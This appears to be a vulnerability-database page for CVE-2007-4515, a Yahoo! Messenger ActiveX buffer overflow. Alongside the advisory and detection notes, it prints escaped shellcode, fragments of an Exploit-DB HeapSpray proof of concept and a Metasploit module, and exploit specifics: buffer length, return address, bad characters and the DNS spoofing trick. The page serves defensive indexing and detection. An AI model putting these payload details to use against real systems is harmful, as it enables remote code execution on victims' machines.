CVE-2007-4515
published 2007-08-31CVE-2007-4515: Buffer overflow in a certain ActiveX control in YVerInfo.dll before 2007.8.27.1 in the Yahoo! services suite for Yahoo! Messenger before 8.1.0.419 allows…
PriorityP351critical9.3CVSS 2.0
AVNACMAuNCCICAC
EXPLOIT
EPSS
33.01%
98.1th percentile
Buffer overflow in a certain ActiveX control in YVerInfo.dll before 2007.8.27.1 in the Yahoo! services suite for Yahoo! Messenger before 8.1.0.419 allows remote attackers to execute arbitrary code via unspecified vectors involving arguments to the (1) fvCom and (2) info methods. NOTE: some of these details are obtained from third party information.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| yahoo | messenger | <= 8.1.0.413 | — |
| yahoo | messenger | — | — |
| yahoo | messenger | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063
- →The vulnerable ActiveX control only executes its fvCom/info methods when it believes it is being called from the yahoo.com domain; attackers must spoof DNS resolution to yahoo.com to trigger the exploit. ↗
- →Exploit delivery uses a HeapSpray technique with NOP sled (%u9090%u9090) followed by shellcode; monitor browser processes for large heap allocations of repeated 0x9090 patterns combined with ActiveX invocation of YVerInfo.dll. ↗
- →The Metasploit module sets a 411-byte junk buffer followed by a return address (0x7cc58fd8) passed to fvcom(); network-level detection should look for HTTP responses serving JavaScript that calls .fvcom() on the YVerInfo ActiveX CLSID with long string arguments. ↗
- →Payload bad characters for this exploit are null byte, tab, newline, carriage return, single quote, and backslash; payloads delivered in-the-wild will avoid these bytes. ↗
- ·The vulnerable YVerInfo.dll versions affected are <= 2006.8.24.1 per the Metasploit module, while the NVD advisory states the fix is version 2007.8.27.1; ensure version checks cover both version strings. ↗
- ·The Metasploit return address (0x7cc58fd8) is specific to Windows XP SP2 Pro English fully patched as of 9/29/07; the exploit will not reliably work against other OS versions or patch levels without a different return address. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-vjfm-f6cq-h3cc: Buffer overflow in a certain ActiveX control in YVerInfo
ghsa_unreviewed·2022-05-01
CVE-2007-4515 [HIGH] CWE-119 GHSA-vjfm-f6cq-h3cc: Buffer overflow in a certain ActiveX control in YVerInfo
Buffer overflow in a certain ActiveX control in YVerInfo.dll before 2007.8.27.1 in the Yahoo! services suite for Yahoo! Messenger before 8.1.0.419 allows remote attackers to execute arbitrary code via unspecified vectors involving arguments to the (1) fvCom and (2) info methods. NOTE: some of these details are obtained from third party information.
GHSA
GHSA-3pqv-3gf8-jfg6: Yahoo! Messenger 8
ghsa_unreviewed·2022-05-01·CVSS 9.3
CVE-2007-4635 [CRITICAL] CWE-119 GHSA-3pqv-3gf8-jfg6: Yahoo! Messenger 8
Yahoo! Messenger 8.1.0.209 and 8.1.0.402 allows remote attackers to cause a denial of service (application crash) via certain file-transfer packets, possibly involving a buffer overflow, as demonstrated by ym8bug.exe. NOTE: this might be related to CVE-2007-4515. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.
Citrix
CVE-2010-4515: Cross-site scripting (XSS) vulnerability in Citrix Web Interface 5.0, 5.1, and 5.3 allows remote attackers to inject arbitrary web script or HTML via
vendor_citrix·2010-12-09·CVSS 4.3
CVE-2010-4515 [MEDIUM] CWE-79 CVE-2010-4515: Cross-site scripting (XSS) vulnerability in Citrix Web Interface 5.0, 5.1, and 5.3 allows remote attackers to inject arbitrary web script or HTML via
CVE-2010-4515: Cross-site scripting (XSS) vulnerability in Citrix Web Interface 5.0, 5.1, and 5.3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors, a different vulnerability than CVE-2007-6477 and CVE-2009-2454.
No detection rules found.
Exploit-DB
Yahoo! Messenger - 'YVerInfo.dll' ActiveX Control Buffer Overflow (Metasploit)
exploitdb·2010-05-09
CVE-2007-4515 Yahoo! Messenger - 'YVerInfo.dll' ActiveX Control Buffer Overflow (Metasploit)
Yahoo! Messenger - 'YVerInfo.dll' ActiveX Control Buffer Overflow (Metasploit)
---
##
# $Id: yahoomessenger_fvcom.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Yahoo! Messenger ActiveX
Control (YVerInfo.dll MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2007-4515' ],
[ 'OSVDB', '37739' ],
[ 'BID', '25494' ],
[ 'URL', '
Exploit-DB
Yahoo! Messenger - 'YVerInfo.dll 2007.8.27.1' ActiveX Buffer Overflow
exploitdb·2007-09-01
CVE-2007-4515 Yahoo! Messenger - 'YVerInfo.dll 2007.8.27.1' ActiveX Buffer Overflow
Yahoo! Messenger - 'YVerInfo.dll 2007.8.27.1' ActiveX Buffer Overflow
---
that functions are safely scriptable and exploitable by HeapSpray Technique
Tested : Windows XP Professional SP2 all patched,Internet Explorer 7
That functions within this class can only be called if the control believes it is being run from the yahoo.com domain. -> I used "Simple DNS Plus" for manipulating the DNS resolution.
I saved this file (exploit.htm) into directory root (web server)
and I exploited with link : http://www.yahoo.com/exploit.htm
coder : minhbq
mail : [email protected]
-->
// HeapSpray - execute calculator
shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u01
Metasploit
Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow
metasploit
Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow
Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow
This module exploits a stack buffer overflow in the Yahoo! Messenger ActiveX Control (YVerInfo.dll <= 2006.8.24.1). By sending an overly long string to the "fvCom()" method from a yahoo.com domain, an attacker may be able to execute arbitrary code.
No writeups or analysis indexed.
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=591http://messenger.yahoo.com/security_update.php?id=082907http://osvdb.org/37739http://secunia.com/advisories/26579http://securityreason.com/securityalert/3083http://securitytracker.com/id?1018628http://www.securityfocus.com/bid/25494http://www.vupen.com/english/advisories/2007/3011https://exchange.xforce.ibmcloud.com/vulnerabilities/36363http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=591http://messenger.yahoo.com/security_update.php?id=082907http://osvdb.org/37739http://secunia.com/advisories/26579http://securityreason.com/securityalert/3083http://securitytracker.com/id?1018628http://www.securityfocus.com/bid/25494http://www.vupen.com/english/advisories/2007/3011https://exchange.xforce.ibmcloud.com/vulnerabilities/36363
2007-08-31
Published